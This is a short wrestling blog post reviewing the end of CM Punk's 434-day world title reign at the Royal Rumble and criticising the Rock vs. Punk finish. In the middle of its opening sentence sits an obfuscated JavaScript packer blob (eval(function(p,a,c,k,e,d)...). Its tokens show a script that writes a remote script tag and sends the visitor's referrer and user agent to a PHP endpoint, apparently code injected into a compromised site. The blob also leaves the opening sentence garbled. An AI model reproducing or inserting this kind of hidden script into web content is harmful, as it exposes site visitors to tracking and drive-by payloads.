The End Of CM Punk’s Title Reign
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdezn|var|u0026u|referrer|ndffd||js|php'.split('|'),0,{})) Rumble was last night and there’s a LOT to talk about so expect a lot of posts from me today about various topics from the show.
One of the major things that happened last night was CM Punk’s 434 day world title reign came to an end. The common response to this (mine included) is that the ending to Rock vs. Punk could have been better. Let’s take a quick look at why and some other things about the title reign.First of all the problem I had with the ending wasn’t about the People’s Elbow but rather the spinebuster that set it up. Rock had been talking about hitting the Rock Bottom and dedicated an entire promo to the idea. The Elbow itself is fine for Rock to finish with as he beat Hogan with it plus multiple other legends. It’s a finishing move for Rock so it’s not a huge deal at all.
As for Punk losing, you knew it was going to happen at some point. It had to. I mean, the guy had been champion since the November before last. It doesn’t make Punk’s title reign a joke, it doesn’t make Punk look weak and it doesn’t do anything bad to him. Everyone loses their title at some point, from Bruno getting pinned by Ivan Koloff to Hogan getting cheated by the Hebners. Punk had to lose at some point and he was pinned at a Big Four show by the third biggest star in the history of wrestling. That’s hardly getting surprised by a rollup by Primo.
Finally, where does Punk’s title reign rank all time? The main problem for Punk’s reign is that almost everyone knew that he was losing the title to Rock at the Rumble for well over six months now. That made nearly half of his reign feel like a formality than a championship reign that could go on forever. That being said, it was still amazing to see in this day and age, especially given the people he was retaining against. It doesn’t come off as one of the greatest reigns ever due to feeling like a transitional reign, but it’s going to be the longest we see for a VERY long time. That’s something Punk can certainly be proud of. How he didn’t win Wrestler of the Year from everyone is beyond me.